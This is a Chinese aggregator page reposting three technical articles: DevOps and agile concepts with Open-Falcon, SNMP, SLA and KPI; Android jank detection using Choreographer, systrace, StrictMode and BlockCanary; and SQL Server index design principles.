的手段，对新的软件功能进行集成目标持续部署的目标是：代码在任何时刻都是可部署的，可以进入生产阶段有很多的业务场景里，一种业务需要等待另外的功能特征出现才能上线，这是的持续部署成为不可能。虽然使用功能切换能解决很多这样的情况，但并不是没每次都会这样。所以，持续部署是否适合你的公司是基于你们的业务需求——而不是技术限制优点持续部署主要的好处是：可以相对独立地部署新的功能，并能快速地收集真实用户的反馈敏捷开发简述敏捷开发就是一种以人为核心、迭代循环渐进的开发方式。在敏捷开发中，软件仙姑的构建被切分成多个子项目，各个子项目的成果都经过测试，具备集成和可运行的特征。简单的说就是把一个大的项目分为多个相互联系，但也可以独立运行的小项目，并分别完成，在此过程中软件一直处于可使用状态注意事项敏捷开的就是一种面临迅速变化的需求快速开发的能力，要注意一下几点：敏捷开发不仅仅是一个项目快速完成，而是对整个产品领域需求的高效管理敏捷开发不仅仅是简单的快，而是短周期的不断改进、提高和调整敏捷开发不仅仅是一个版本只做几个功能，而是突出重点、果断放弃当前的非重要点敏捷开发不仅仅是随时增加需求，而是每个迭代周期对需求的重新审核和排序如何进行敏捷开发 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12．每隔一定时间，团队会在如何才能更有效地工作方面进行反省，然后相应地对自己的行为进行调整。特点：个体和交互胜过过程和工具可以工作的软件胜过面面俱到的文档客户合作胜过合同谈判响应变化胜过遵循计划优势总结：敏捷开发确实是项目进入实质开发迭代阶段，用户很快可以看到一个基线架构班的产品。敏捷注重市场快速反应能力，也即具体应对能力，客户前期满意度高适用范围：项目团队的人不能太多项目经常发生变更高风险的项目实施开发人员可以参与决策劣势总结：敏捷开发注重人员的沟通忽略文档的重要性若项目人员流动太大，维护的时候很难项目存在新手的比较多的时候，老员工会比较累需要项目中存在经验较强的人，要不然大项目中容易遇到瓶颈问题 Open-falcon 简述 open-falcon是小米的监控系统，是一款企业级、高可用、可扩展的开源监控解决方案公司用open-falcon来监控调度系统各种信息，便于监控各个节点的调度信息。在服务器安装了falcon-agent自动采集各项指标，主动上报特点强大灵活的数据采集（自动发现，支持falcon-agent、snmp、支持用户主动push、用户自定义插件支持、opentsdb data model like（timestamp、endpoint、metric、key-value tags））水平扩展能力（支持每个周期上亿次的数据采集、告警判定、历史数据存储和查询）高效率的告警策略管理（高效的portal、支持策略模板、模板继承和覆盖、多种告警方式、支持callback调用）人性化的告警设置（最大告警次数、告警级别、告警恢复通知、告警暂停、不同时段不同阈值、支持维护周期）高效率的graph组件（单机支撑200万metric的上报、归档、存储（周期为1分钟））高效的历史数据query组件（采用rrdtool的数据归档策略，秒级返回上百个metric一年的历史数据） dashboard（面向用户的查询界面，可以看到push到graph中的所有数据，并查看数据发展趋势）（对维度的数据展示，用户自定义Screen）高可用（整个系统无核心单点，易运维，易部署，可水平扩展）开发语言（整个系统的后端，全部golang编写，portal和dashboard使用python编写。）监控范围 Open-Falcon支持系统基础监控，第三方服务监控，JVM监控，业务应用监控基础监控指的是Linux系统的指标监控，包括CPU、load、内存、磁盘、IO、网络等，这些指标由Openfalcon的agent节点直接支持，无需插件第三方服务监控指的是一些常见的服务监控，包括Mysql、Redis、Nginx等 OpenFalcon官网提供了很多第三方服务的监控插件，也可以自己实现插件，定义采集指标。而采集到的指标，也是通过插件先发送给agent，再由agent发送到OpenFalcon。 JVM监控主要通过插件完成，插件通过JVM开放的JMX通信端口，获取到JVM参数指标，并推送到agent节点，再由agent发送到OpenFalcon。业务应用监控就是监控企业自主开发的应用服务主要通过插件完成，插件通过JVM开放的JMX通信端口，获取到JVM参数指标，并推送到agent节点，再由agent发送到OpenFalcon。数据流向常见的OpenFalcon包含transfer、hbs、agent、judge、graph、API几个进程以下是各个节点的数据流向图，主数据流向是agent -> transfer -> judge/graph： SNMP 简述 SNMP：简单网络管理协议，是TCP/IP协议簇的一个应用层协议，由于SNMP的简单性，在Internet时代得到了蓬勃的发展，1992年发布了SNMPv2版本，以增强SNMPv1的安全性和功能。现在，已经有了SNMPv3版本（它对网络管理最大的贡献在于其安全性。增加了对认证和密文传输的支持）。一套完整的SNMP系统主要包括：管理信息库（MIB）、管理信息结构（SMI）和 SNMP报文协议为什么要用SNMP 作为运维人员，我们很大一部分的工作就是为了保证我们的网络能够正常、稳定的运行。因此监控，控制，管理各种网络设备成了我们日常的工作优点和好处优点: 简单易懂，部署的开销成本也小，正因为它足够简单，所以被广泛的接受，事实上它已经成为了主要的网络管理标准。在一个网络设备上实现SNMP的管理比绝大部分其他管理方式都简单直接。好处：标准化的协议：SNMP是TCP/IP网络的标准网络管理协议。广泛认可：所有主流供应商都支持SNMP。可移植性：SNMP独立于操作系统和编程语言。轻量级：SNMP增强对设备的管理能力的同时不会对设备的操作方式或性能产生冲击。可扩展性：在所有SNMP管理的设备上都会支持相同的一套核心操作集。广泛部署：SNMP是最流行的管理协议，最为受设备供应商关注，被广泛部署在各种各样的设备上。 MIB、SMI和SNMP报文 MIB 管理信息库MIB：任何一个被管理的资源都表示成一个对象，称为被管理的对象。 MIB是被管理对象的集合。它定义了被管理对象的一系列属性：对象的名称、对象的访问权限和对象的数据类型等。每个SNMP设备（Agent）都有自己的MIB。 MIB也可以看作是NMS（网管系统）和Agent之间的沟通桥梁。 MIB文件中的变量使用的名字取自ISO和ITU管理的对象表示符命名空间，他是一个分级数的结构 SMI SMI定义了SNNMP框架多用信息的组织、组成和标识，它还未描述MIB对象和表述协议怎么交换信息奠定了基础 SMI定义的数据类型：简单类型（simple）： Integer：整型是-2,147,483,648~2,147,483,647的有符号整数 octet string: 字符串是0~65535个字节的有序序列 OBJECT IDENTIFIER: 来自按照ASN.1规则分配的对象标识符集简单结构类型（simple-constructed ）： SEQUENCE 用于列表。这一数据类型与大多数程序设计语言中的“structure”类似。一个SEQUENCE包括0个或更多元素，每一个元素又是另一个ASN.1数据类型 SEQUENCE OF type 用于表格。这一数据类型与大多数程序设计语言中的“array”类似。一个表格包括0个或更多元素，每一个元素又是另一个ASN.1数据类型。应用类型（application-wide）： IpAddress: 以网络序表示的IP地址。因为它是一个32位的值，所以定义为4个字节； counter：计数器是一个非负的整数，它递增至最大值，而后回零。在SNMPv1中定义的计数器是32位的，即最大值为4，294，967，295； Gauge ：也是一个非负整数，它可以递增或递减，但达到最大值时保持在最大值，最大值为232-1； time ticks：是一个时间单位，表示以0.01秒为单位计算的时间； SNMP报文 SNMP规定了5种协议数据单元PDU（也就是SNMP报文），用来在管理进程和代理之间的交换。 get-request操作：从代理进程处提取一个或多个参数值。 get-next-request操作：从代理进程处提取紧跟当前参数值的下一个参数值。 set-request操作：设置代理进程的一个或多个参数值。 get-response操作：返回的一个或多个参数值。这个操作是由代理进程发出的，它是前面三种操作的响应操作。 trap操作：代理进程主动发出的报文，通知管理进程有某些事情发生。操作命令 SNMP协议之所以易于使用，这是因为它对外提供了三种用于控制MIB对象的基本操作命令。它们是：Get、Set 和 Trap。 Get：管理站读取代理者处对象的值 Set：管理站设置代理者处对象的值 Trap：代理者主动向管理站通报重要事件 SLA 简述 SLA（服务等级协议）：是关于网络服务供应商和客户之间的一份合同，其中定义了服务类型、服务质量和客户付款等术语一个完整的SLA同时也是一个合法的文档，包括所涉及的当事人、协定条款(包含应用程序和支持的服务)、违约的处罚、费用和仲裁机构、政策、修改条款、报告形式和双方的义务等。同样服务提供商可以对用户在工作负荷和资源使用方面进行规定。 KPI 简述 KPI（关键绩效指标）：是通过对组织内部流程的输入端、输出端的关键参数进行设置、取样、计算、分析，衡量流程绩效的一种目标式量化管理指标，是把企业的战略目标分解为可操作的工作目标的工具，是企业绩效管理的基础。 KPI可以是部门主管明确部门的主要责任，并以此为基础，明确部门人员的业绩衡量指标，建立明确的切实可行的KPI体系，是做好绩效管理的关键。 KPI（关键绩效指标）是用于衡量工作人员工作绩效表现的量化指标，是绩效计划的重要组成部分转载于:https://www.cnblogs.com/woshinideyugegea/p/11242034.html 本篇文章为转载内容。原文链接：https://blog.csdn.net/anqiongsha8211/article/details/101592137。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

2023-03-19 16:00:05

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[转载]项目维护几年了，为啥还这么卡？

...一种在PC上很早就有应用，可以理解为一种定时中断技术。 tearing 问题：早期的 Android 是没有 vsync 机制的，CPU 和 GPU 的配合也比较混乱，这也造成著名的 tearing 问题，即 CPU/GPU 直接更新正在显示的屏幕 buffer 造成画面撕裂。后续 Android 引入了双缓冲机制，但是 buffer 的切换也需要一个比较合适的时机，也就是屏幕扫描完上一帧后的时机，这也就是引入 vsync 的原因。早先一般的屏幕刷新率是 60fps，所以每个 vsync 信号的间隔也是 16ms，不过随着技术的更迭以及厂商对于流畅性的追求，越来越多 90fps 和 120fps 的手机面世，相对应的间隔也就变成了 11ms 和 8ms。 VSYNC信号种类： 1.屏幕产生的硬件VSYNC：硬件VSYNC是一种脉冲信号，起到开关和触发某种操作的作用。 2.由SurfaceFlinger将其转成的软件VSYNC信号，经由Binder传递给Choreographer Choreographer：编舞者，用于注册VSYNC信号并接收VSYNC信号回调，当内部接收到这个信号时最终会调用到doFrame进行帧的绘制操作。 Choreographer在系统中流程：如何通过Choreographer计算掉帧情况：原理就是: 通过给Choreographer设置FrameCallback，在每次绘制前后看时间差是16.6ms的多少倍，即为前后掉帧率。使用方式如下： //Application.javapublic void onCreate() {super.onCreate();//在Application中使用postFrameCallbackChoreographer.getInstance().postFrameCallback(new FPSFrameCallback(System.nanoTime()));}public class FPSFrameCallback implements Choreographer.FrameCallback {private static final String TAG = "FPS_TEST";private long mLastFrameTimeNanos = 0;private long mFrameIntervalNanos;public FPSFrameCallback(long lastFrameTimeNanos) {mLastFrameTimeNanos = lastFrameTimeNanos;mFrameIntervalNanos = (long)(1000000000 / 60.0);}@Overridepublic void doFrame(long frameTimeNanos) {//初始化时间if (mLastFrameTimeNanos == 0) {mLastFrameTimeNanos = frameTimeNanos;}final long jitterNanos = frameTimeNanos - mLastFrameTimeNanos;if (jitterNanos >= mFrameIntervalNanos) {final long skippedFrames = jitterNanos / mFrameIntervalNanos;if(skippedFrames>30){//丢帧30以上打印日志Log.i(TAG, "Skipped " + skippedFrames + " frames! "+ "The application may be doing too much work on its main thread.");} }mLastFrameTimeNanos=frameTimeNanos;//注册下一帧回调Choreographer.getInstance().postFrameCallback(this);} } UI绘制全路径分析：有了前面几个概念，这里我们让SurfaceFlinger结合View的绘制流程用一张图来表达整个绘制流程：生产者：APP方构建Surface的过程。消费者：SurfaceFlinger UI绘制全路径分析卡顿原因：接下来，我们逐个分析，看看都会有哪些原因可能造成卡顿： 1.渲染流程 1.Vsync 调度：这个是起始点，但是调度的过程会经过线程切换以及一些委派的逻辑，有可能造成卡顿，但是一般可能性比较小，我们也基本无法介入； 2.消息调度：主要是 doframe Message 的调度，这就是一个普通的 Handler 调度，如果这个调度被其他的 Message 阻塞产生了时延，会直接导致后续的所有流程不会被触发 3.input 处理：input 是一次 Vsync 调度最先执行的逻辑，主要处理 input 事件。如果有大量的事件堆积或者在事件分发逻辑中加入大量耗时业务逻辑，会造成当前帧的时长被拉大，造成卡顿，可以尝试通过事件采样的方案，减少 event 的处理 4.动画处理：主要是 animator 动画的更新，同理，动画数量过多，或者动画的更新中有比较耗时的逻辑，也会造成当前帧的渲染卡顿。对动画的降帧和降复杂度其实解决的就是这个问题； 5.view 处理：主要是接下来的三大流程，过度绘制、频繁刷新、复杂的视图效果都是此处造成卡顿的主要原因。比如我们平时所说的降低页面层级，主要解决的就是这个问题； 6.measure/layout/draw：view 渲染的三大流程，因为涉及到遍历和高频执行，所以这里涉及到的耗时问题均会被放大，比如我们会降不能在 draw 里面调用耗时函数，不能 new 对象等等； 7.DisplayList 的更新：这里主要是 canvas 和 displaylist 的映射，一般不会存在卡顿问题，反而可能存在映射失败导致的显示问题； 8.OpenGL 指令转换：这里主要是将 canvas 的命令转换为 OpenGL 的指令，一般不存在问题 9.buffer 交换：这里主要指 OpenGL 指令集交换给 GPU，这个一般和指令的复杂度有关 10.GPU 处理：顾名思义，这里是 GPU 对数据的处理，耗时主要和任务量和纹理复杂度有关。这也就是我们降低 GPU 负载有助于降低卡顿的原因； 11.layer 合成：Android P 修改了 Layer 的计算方法 , 把这部分放到了 SurfaceFlinger 主线程去执行, 如果后台 Layer 过多, 就会导致 SurfaceFlinger 在执行 rebuildLayerStacks 的时候耗时 , 导致 SurfaceFlinger 主线程执行时间过长。可以选择降低Surface层级来优化卡顿。 12.光栅化/Display：这里暂时忽略，底层系统行为； Buffer 切换：主要是屏幕的显示，这里 buffer 的数量也会影响帧的整体延迟，不过是系统行为，不能干预。 2.系统负载内存：内存的吃紧会直接导致 GC 的增加甚至 ANR，是造成卡顿的一个不可忽视的因素； CPU：CPU 对卡顿的影响主要在于线程调度慢、任务执行的慢和资源竞争，比如 1.降频会直接导致应用卡顿； 2.后台活动进程太多导致系统繁忙，cpu \ io \ memory 等资源都会被占用, 这时候很容易出现卡顿问题，这种情况比较常见,可以使用dumpsys cpuinfo查看当前设备的cpu使用情况： 3.主线程调度不到 , 处于 Runnable 状态，这种情况比较少见 4.System 锁：system_server 的 AMS 锁和 WMS 锁 , 在系统异常的情况下 , 会变得非常严重 , 如下图所示 , 许多系统的关键任务都被阻塞 , 等待锁的释放 , 这时候如果有 App 发来的 Binder 请求带锁 , 那么也会进入等待状态 , 这时候 App 就会产生性能问题 ; 如果此时做 Window 动画 , 那么 system_server 的这些锁也会导致窗口动画卡顿 GPU：GPU 的影响见渲染流程，但是其实还会间接影响到功耗和发热；功耗/发热：功耗和发热一般是不分家的，高功耗会引起高发热，进而会引起系统保护，比如降频、热缓解等，间接的导致卡顿。如何监控卡顿线下监控：我们知道卡顿问题的原因错综复杂，但最终都可以反馈到CPU使用率上来 1.使用dumpsys cpuinfo命令这个命令可以获取当时设备cpu使用情况，我们可以在线下通过重度使用应用来检测可能存在的卡顿点 A8S:/ $ dumpsys cpuinfoLoad: 1.12 / 1.12 / 1.09CPU usage from 484321ms to 184247ms ago (2022-11-02 14:48:30.793 to 2022-11-02 14:53:30.866):2% 1053/scanserver: 0.2% user + 1.7% kernel0.6% 934/system_server: 0.4% user + 0.1% kernel / faults: 563 minor0.4% 564/signserver: 0% user + 0.4% kernel0.2% 256/ueventd: 0.1% user + 0% kernel / faults: 320 minor0.2% 474/surfaceflinger: 0.1% user + 0.1% kernel0.1% 576/vendor.sprd.hardware.gnss@2.0-service: 0.1% user + 0% kernel / faults: 54 minor0.1% 286/logd: 0% user + 0% kernel / faults: 10 minor0.1% 2821/com.allinpay.appstore: 0.1% user + 0% kernel / faults: 1312 minor0.1% 447/android.hardware.health@2.0-service: 0% user + 0% kernel / faults: 1175 minor0% 1855/com.smartpos.dataacqservice: 0% user + 0% kernel / faults: 755 minor0% 2875/com.allinpay.appstore:pushcore: 0% user + 0% kernel / faults: 744 minor0% 1191/com.android.systemui: 0% user + 0% kernel / faults: 70 minor0% 1774/com.android.nfc: 0% user + 0% kernel0% 172/kworker/1:2: 0% user + 0% kernel0% 145/irq/24-70900000: 0% user + 0% kernel0% 575/thermald: 0% user + 0% kernel / faults: 300 minor... 2.CPU Profiler 这个工具是AS自带的CPU性能检测工具，可以在PC上实时查看我们CPU使用情况。 AS提供了四种Profiling Model配置： 1.Sample Java Methods：在应用程序基于Java的代码执行过程中，频繁捕获应用程序的调用堆栈获取有关应用程序基于Java的代码执行的时间和资源使用情况信息。 2.Trace java methods：在运行时对应用程序进行检测，以在每个方法调用的开始和结束时记录时间戳。收集时间戳并进行比较以生成方法跟踪数据，包括时序信息和CPU使用率。请注意与检测每种方法相关的开销会影响运行时性能，并可能影响性能分析数据。对于生命周期相对较短的方法，这一点甚至更为明显。此外，如果您的应用在短时间内执行大量方法，则探查器可能会很快超过其文件大小限制，并且可能无法记录任何进一步的跟踪数据。 3.Sample C/C++ Functions:捕获应用程序本机线程的示例跟踪。要使用此配置，您必须将应用程序部署到运行Android 8.0（API级别26）或更高版本的设备。 4.Trace System Calls:捕获细粒度的详细信息，使您可以检查应用程序与系统资源的交互方式您可以检查线程状态的确切时间和持续时间，可视化CPU瓶颈在所有内核中的位置，并添加自定义跟踪事件进行分析。在对性能问题进行故障排除时，此类信息可能至关重要。要使用此配置，您必须将应用程序部署到运行Android 7.0（API级别24）或更高版本的设备。使用方式： Debug.startMethodTracing("");// 需要检测的代码片段...Debug.stopMethodTracing(); 优点：有比较全面的调用栈以及图像化方法时间显示，包含所有线程的情况缺点：本身也会带来一点的性能开销，可能会带偏优化方向火焰图：可以显示当前应用的方法堆栈： 3.Systrace Systrace在前面一篇分析启动优化的文章讲解过这里我们简单来复习下： Systrace用来记录当前应用的系统以及应用(使用Trace类打点)的各阶段耗时信息包括绘制信息以及CPU信息等。使用方式： Trace.beginSection("MyApp.onCreate_1");alt(200);Trace.endSection(); 在命令行中： python systrace.py -t 5 sched gfx view wm am app webview -a "com.chinaebipay.thirdcall" -o D:\trac1.html 记录的方法以及CPU中的耗时情况：优点： 1.轻量级，开销小，CPU使用率可以直观反映 2.右侧的Alerts能够根据我们应用的问题给出具体的建议，比如说，它会告诉我们App界面的绘制比较慢或者GC比较频繁。 4.StrictModel StrictModel是Android提供的一种运行时检测机制，用来帮助开发者自动检测代码中不规范的地方。主要和两部分相关： 1.线程相关 2.虚拟机相关基础代码： private void initStrictMode() {// 1、设置Debug标志位，仅仅在线下环境才使用StrictModeif (DEV_MODE) {// 2、设置线程策略StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().detectCustomSlowCalls() //API等级11，使用StrictMode.noteSlowCode.detectDiskReads().detectDiskWrites().detectNetwork() // or .detectAll() for all detectable problems.penaltyLog() //在Logcat 中打印违规异常信息// .penaltyDialog() //也可以直接跳出警报dialog// .penaltyDeath() //或者直接崩溃.build());// 3、设置虚拟机策略StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder().detectLeakedSqlLiteObjects()// 给NewsItem对象的实例数量限制为1.setClassInstanceLimit(NewsItem.class, 1).detectLeakedClosableObjects() //API等级11.penaltyLog().build());} } 线上监控：线上需要自动化的卡顿检测方案来定位卡顿，它能记录卡顿发生时的场景。自动化监控原理：采用拦截消息调度流程，在消息执行前埋点计时，当耗时超过阈值时，则认为是一次卡顿，会进行堆栈抓取和上报工作首先，我们看下Looper用于执行消息循环的loop()方法，关键代码如下所示： / Run the message queue in this thread. Be sure to call {@link quit()} to end the loop./public static void loop() {...for (;;) {Message msg = queue.next(); // might blockif (msg == null) {// No message indicates that the message queue is quitting.return;// This must be in a local variable, in case a UI event sets the loggerfinal Printer logging = me.mLogging;if (logging != null) {// 1logging.println(">>>>> Dispatching to " + msg.target + " " +msg.callback + ": " + msg.what);}...try {// 2 msg.target.dispatchMessage(msg);dispatchEnd = needEndTime ? SystemClock.uptimeMillis() : 0;} finally {if (traceTag != 0) {Trace.traceEnd(traceTag);} }...if (logging != null) {// 3logging.println("<<<<< Finished to " + msg.target + " " + msg.callback);} 在Looper的loop()方法中，在其执行每一个消息（注释2处）的前后都由logging进行了一次打印输出。可以看到，在执行消息前是输出的">>>>> Dispatching to “，在执行消息后是输出的”<<<<< Finished to ",它们打印的日志是不一样的，我们就可以由此来判断消息执行的前后时间点。具体的实现可以归纳为如下步骤： 1、首先，我们需要使用Looper.getMainLooper().setMessageLogging()去设置我们自己的Printer实现类去打印输出logging。这样，在每个message执行的之前和之后都会调用我们设置的这个Printer实现类。 2、如果我们匹配到">>>>> Dispatching to "之后，我们就可以执行一行代码：也就是在指定的时间阈值之后，我们在子线程去执行一个任务，这个任务就是去获取当前主线程的堆栈信息以及当前的一些场景信息，比如：内存大小、电脑、网络状态等。 3、如果在指定的阈值之内匹配到了"<<<<< Finished to "，那么说明message就被执行完成了，则表明此时没有产生我们认为的卡顿效果，那我们就可以将这个子线程任务取消掉。这里我们使用blockcanary来做测试: BlockCanary APM是一个非侵入式的性能监控组件，可以通过通知的形式弹出卡顿信息。它的原理就是我们刚刚讲述到的卡顿监控的实现原理。使用方式： 1.导入依赖 implementation 'com.github.markzhai:blockcanary-android:1.5.0' Application的onCreate方法中开启卡顿监控 // 注意在主进程初始化调用BlockCanary.install(this, new AppBlockCanaryContext()).start(); 3.继承BlockCanaryContext类去实现自己的监控配置上下文类 public class AppBlockCanaryContext extends BlockCanaryContext {....../ 指定判定为卡顿的阈值threshold (in millis), 你可以根据不同设备的性能去指定不同的阈值 @return threshold in mills/public int provideBlockThreshold() {return 1000;}....} 4.在Activity的onCreate方法中执行一个耗时操作 try {Thread.sleep(4000);} catch (InterruptedException e) {e.printStackTrace();} 5.结果：可以看到一个和LeakCanary一样效果的阻塞可视化堆栈图那有了BlockCanary的方法耗时监控方式是不是就可以解百愁了呢，呵呵。有那么容易就好了根据原理：我们拿到的是msg执行前后的时间和堆栈信息，如果msg中有几百上千个方法，就无法确认到底是哪个方法导致的耗时，也有可能是多个方法堆积导致。这就导致我们无法准确定位哪个方法是最耗时的。如图中：堆栈信息是T2的，而发生耗时的方法可能是T1到T2中任何一个方法甚至是堆积导致。那如何优化这块？这里我们采用字节跳动给我们提供的一个方案：基于 Sliver trace 的卡顿监控体系 Sliver trace 整体流程图：主要包含两个方面: 检测方案：在监控卡顿时，首先需要打开 Sliver 的 trace 记录能力，Sliver 采样记录 trace 执行信息，对抓取到的堆栈进行 diff 聚合和缓存。同时基于我们的需要设置相应的卡顿阈值，以 Message 的执行耗时为衡量。对主线程消息调度流程进行拦截，在消息开始分发执行时埋点，在消息执行结束时计算消息执行耗时，当消息执行耗时超过阈值，则认为产生了一次卡顿。堆栈聚合策略：当卡顿发生时，我们需要为此次卡顿准备数据，这部分工作是在端上子线程中完成的，主要是 dump trace 到文件以及过滤聚合要上报的堆栈。分为以下几步： 1.拿到缓存的主线程 trace 信息并 dump 到文件中。 2.然后从文件中读取 trace 信息，按照数据格式，从最近的方法栈向上追溯，找到当前 Message 包含的全部 trace 信息，并将当前 Message 的完整 trace 写入到待上传的 trace 文件中，删除其余 trace 信息。 3.遍历当前 Message trace，按照（Method 执行耗时 > Method 耗时阈值 & Method 耗时为该层堆栈中最耗时）为条件过滤出每一层函数调用堆栈的最长耗时函数，构成最后要上报的堆栈链路，这样特征堆栈中的每一步都是最耗时的，且最底层 Method 为最后的耗时大于阈值的 Method。之后，将 trace 文件和堆栈一同上报，这样的特征堆栈提取策略保证了堆栈聚合的可靠性和准确性，保证了上报到平台后堆栈的正确合理聚合，同时提供了进一步分析问题的 trace 文件。可以看到字节给的是一整套监控方案，和前面BlockCanary不同之处就在于，其是定时存储堆栈，缓存，然后使用diff去重的方式，并上传到服务器，可以最大限度的监控到可能发生比较耗时的方法。开发中哪些习惯会影响卡顿的发生 1.布局太乱，层级太深。 1.1：通过减少冗余或者嵌套布局来降低视图层次结构。比如使用约束布局代替线性布局和相对布局。 1.2：用 ViewStub 替代在启动过程中不需要显示的 UI 控件。 1.3：使用自定义 View 替代复杂的 View 叠加。 2.主线程耗时操作 2.1：主线程中不要直接操作数据库，数据库的操作应该放在数据库线程中完成。 2.2：sharepreference尽量使用apply，少使用commit，可以使用MMKV框架来代替sharepreference。 2.3：网络请求回来的数据解析尽量放在子线程中，不要在主线程中进行复制的数据解析操作。 2.4：不要在activity的onResume和onCreate中进行耗时操作，比如大量的计算等。 2.5：不要在 draw 里面调用耗时函数，不能 new 对象 3.过度绘制过度绘制是同一个像素点上被多次绘制，减少过度绘制一般减少布局背景叠加等方式，如下图所示右边是过度绘制的图片。 4.列表 RecyclerView使用优化，使用DiffUtil和notifyItemDataSetChanged进行局部更新等。 5.对象分配和回收优化自从Android引入 ART 并且在Android 5.0上成为默认的运行时之后，对象分配和垃圾回收（GC）造成的卡顿已经显著降低了，但是由于对象分配和GC有额外的开销，它依然又可能使线程负载过重。在一个调用不频繁的地方（比如按钮点击）分配对象是没有问题的，但如果在在一个被频繁调用的紧密的循环里，就需要避免对象分配来降低GC的压力。减少小对象的频繁分配和回收操作。好了，关于卡顿优化的问题就讲到这里，下篇文章会对卡顿中的ANR情况的处理，这里做个铺垫。如果喜欢我的文章，欢迎关注我的公众号。点击这看原文链接：参考 Android卡顿检测及优化一文读懂直播卡顿优化那些事儿 “终于懂了” 系列：Android屏幕刷新机制—VSync、Choreographer 全面理解！深入探索Android卡顿优化（上）西瓜卡顿 & ANR 优化治理及监控体系建设 5376)] 参考 Android卡顿检测及优化一文读懂直播卡顿优化那些事儿 “终于懂了” 系列：Android屏幕刷新机制—VSync、Choreographer 全面理解！深入探索Android卡顿优化（上）西瓜卡顿 & ANR 优化治理及监控体系建设本篇文章为转载内容。原文链接：https://blog.csdn.net/yuhaibing111/article/details/127682399。该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

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[转载]转发SQLSERVER数据库索引实现

...SQLS的性能,随着应用系统的运行,数据不断地发生变化,当数据变化达到某一个程度时将会影响到索引的使用。这时需要用户自己来维护索引。随着数据行的插入、删除和数据页的分裂，有些索引页可能只包含几页数据，另外应用在执行大量I/O的时候，重建非聚聚集索引可以维护I/O的效率。重建索引实质上是重新组织B树。需要重建索引的情况有： 1) 数据和使用模式大幅度变化； 2)排序的顺序发生改变； 3)要进行大量插入操作或已经完成； 4)使用I/O查询的磁盘读次数比预料的要多； 5)由于大量数据修改，使得数据页和索引页没有充分使用而导致空间的使用超出估算； 6)dbcc检查出索引有问题。六、索引的使用原则接近尾声的时候，让我们再从另一个角度认识索引的两个重要属性----唯一性索引和复合性索引。在设计表的时候，可以对字段值进行某些限制，比如可以对字段进行主键约束或唯一性约束。主键约束是指定某个或多个字段不允许重复，用于防止表中出现两条完全相同的记录，这样的字段称为主键，每张表都可以建立并且只能建立一个主键，构成主键的字段不允许空值。例如职员表中“身份证号”字段或成绩表中“学号、课程编号”字段组合。而唯一性约束与主键约束类似，区别只在于构成唯一性约束的字段允许出现空值。建立在主键约束和唯一性约束上的索引，由于其字段值具有唯一性，于是我们将这种索引叫做“唯一性索引”，如果这个唯一性索引是由两个以上字段的组合建立的，那么它又叫“复合性索引”。注意，唯一索引不是聚集索引，如果对一个字段建立了唯一索引，你仅仅不能向这个字段输入重复的值。并不妨碍你可以对其它类型的字段也建立一个唯一性索引，它们可以是聚集的，也可以是非聚集的。唯一性索引保证在索引列中的全部数据是唯一的，不会包含冗余数据。如果表中已经有一个主键约束或者唯一性约束，那么当创建表或者修改表时，SQLS自动创建一个唯一性索引。但出于必须保证唯一性，那么应该创建主键约束或者唯一性键约束，而不是创建一个唯一性索引。当创建唯一性索引时，应该认真考虑这些规则：当在表中创建主键约束或者唯一性键约束时， SQLS钭自动创建一个唯一性索引；如果表中已经包含有数据，那么当创建索引时，SQLS检查表中已有数据的冗余性，如果发现冗余值，那么SQLS就取消该语句的执行，并且返回一个错误消息，确保表中的每一行数据都有一个唯一值。复合索引就是一个索引创建在两个列或者多个列上。在搜索时，当两个或者多个列作为一个关键值时，最好在这些列上创建复合索引。当创建复合索引时，应该考虑这些规则：最多可以把16个列合并成一个单独的复合索引，构成复合索引的列的总长度不能超过900字节，也就是说复合列的长度不能太长；在复合索引中，所有的列必须来自同一个表中，不能跨表建立复合列；在复合索引中，列的排列顺序是非常重要的，原则上，应该首先定义最唯一的列，例如在（COL1，COL2）上的索引与在（COL2，COL1）上的索引是不相同的，因为两个索引的列的顺序不同；为了使查询优化器使用复合索引，查询语句中的WHERE子句必须参考复合索引中第一个列；当表中有多个关键列时，复合索引是非常有用的；使用复合索引可以提高查询性能，减少在一个表中所创建的索引数量。综上所述，我们总结了如下索引使用原则： 1)逻辑主键使用唯一的成组索引，对系统键（作为存储过程）采用唯一的非成组索引，对任何外键列采用非成组索引。考虑数据库的空间有多大，表如何进行访问，还有这些访问是否主要用作读写。 2)不要索引memo/note 字段，不要索引大型字段（有很多字符），这样作会让索引占用太多的存储空间。 3)不要索引常用的小型表 4)一般不要为小型数据表设置过多的索引，假如它们经常有插入和删除操作就更别这样作了，SQLS对这些插入和删除操作提供的索引维护可能比扫描表空间消耗更多的时间。七、大结局查询是一个物理过程，表面上是SQLS在东跑西跑，其实真正大部分压马路的工作是由磁盘输入输出系统(I/O)完成，全表扫描需要从磁盘上读表的每一个数据页，如果有索引指向数据值，则I/O读几次磁盘就可以了。但是，在随时发生的增、删、改操作中，索引的存在会大大增加工作量，因此，合理的索引设计是建立在对各种查询的分析和预测上的，只有正确地使索引与程序结合起来,才能产生最佳的优化方案。一般来说建立索引的思路是： (1)主键时常作为where子句的条件，应在表的主键列上建立聚聚集索引，尤其当经常用它作为连接的时候。 (2)有大量重复值且经常有范围查询和排序、分组发生的列，或者非常频繁地被访问的列，可考虑建立聚聚集索引。　　 (3)经常同时存取多列，且每列都含有重复值可考虑建立复合索引来覆盖一个或一组查询，并把查询引用最频繁的列作为前导列，如果可能尽量使关键查询形成覆盖查询。 (4)如果知道索引键的所有值都是唯一的，那么确保把索引定义成唯一索引。 (5)在一个经常做插入操作的表上建索引时，使用fillfactor(填充因子)来减少页分裂，同时提高并发度降低死锁的发生。如果在只读表上建索引，则可以把fillfactor置为100。 (6)在选择索引字段时，尽量选择那些小数据类型的字段作为索引键，以使每个索引页能够容纳尽可能多的索引键和指针，通过这种方式，可使一个查询必须遍历的索引页面降到最小。此外，尽可能地使用整数为键值，因为它能够提供比任何数据类型都快的访问速度。 